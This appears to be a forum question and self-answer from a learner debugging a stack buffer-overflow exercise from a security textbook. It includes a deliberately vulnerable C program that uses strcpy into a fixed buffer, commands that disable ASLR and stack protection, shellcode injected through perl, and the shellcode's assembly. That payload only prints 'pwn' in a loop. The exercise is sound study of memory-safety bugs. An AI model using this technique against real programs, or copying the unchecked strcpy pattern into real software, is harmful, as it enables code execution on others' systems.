I have been trying to troubleshoot this problem for a while. I have checked a few StackOverflow links with similar problems, but none of the fixes seemed to work for me. For some reason, instead of getting a Segmentation Fault like I should be (if my exploit code didn't work), my exploit code simply doesn't generate the fault. My original assumption was that the perl code somehow generated only a little bit of output, thus not overflowing on to the stack, but I proved this wrong by piping the output of the perl command to a file.
I am not able to reproduce this problem in GDB, however. From my understanding, GDB disables ASLR, but I've disabled it (temporarily) in the system through the following command. I know this command works because I am printing out the address of the variable &buff, and it doesn't change among multiple runs.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
I have also disabled stack canary protection on my executable:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
As I've said before, my exploit works perfectly in GDB. Here is my exploitable program, and I'll show you my exploit code.
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
GDB output of [working] exploit code
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
Regular output of exploit code
chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
Yes, I have taken into account of the return address changing (GDB adds extra environmental variables). That's why I've sort of cheated by printing out the return address in my program so that I know what the exact value is without using GDB.
If anyone thinks that the exploit code is wrong somehow, I'll post the assembly code as well.
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
Thank you so much in advance! I've been stuck on this for hours now. And just so you guys know, I've written this exploitable program to learn about Buffer Overflows in Hacking: The Art of Exploitation.
For anyone with this problem in the future...
The problem I had with the program was the 0x0A character in my buffer. For some reason, GDB treats this as a simple new line character, but when running the program normally, it is treated as a null character. I resolved the problem by changing the newline character to something else. Thank you for your help Jester, EOF, and Michael, for leading me into the right direction, and helping me write better code :).
(gdb) x/32x &buff
0xbffff130: 0x90 0x90 0x31 0xd2 0x31 0xc9 0x31 0xdb
0xbffff138: 0x31 0xc0 0x52 0x68 0x70 0x77 0x6e 0x00
0xbffff140: 0x20 0xec 0xfc 0xb7 0x2d 0x86 0x04 0x08
0xbffff148: 0x64 0xf1 0xff 0xbf 0x00 0x00 0x00 0x00
As you can see, the byte 0x00 terminates the string at byte 15, and thus, the rest of my array has uninitialized values.
I am assuming that the program thinks that I am doing an actual new line for the command line arguments, but we all know that isn't the case ;).
To fix this problem, I simply substituted another value for the newline. Unfortunately, I do not know how to incorporate the newline into my program without causing this issue. I've thought of the following hacky solution to compensate. Put the value of the newline minus one (0x9) into a register, then calling the inc opcode on the register, and push it on to the stack.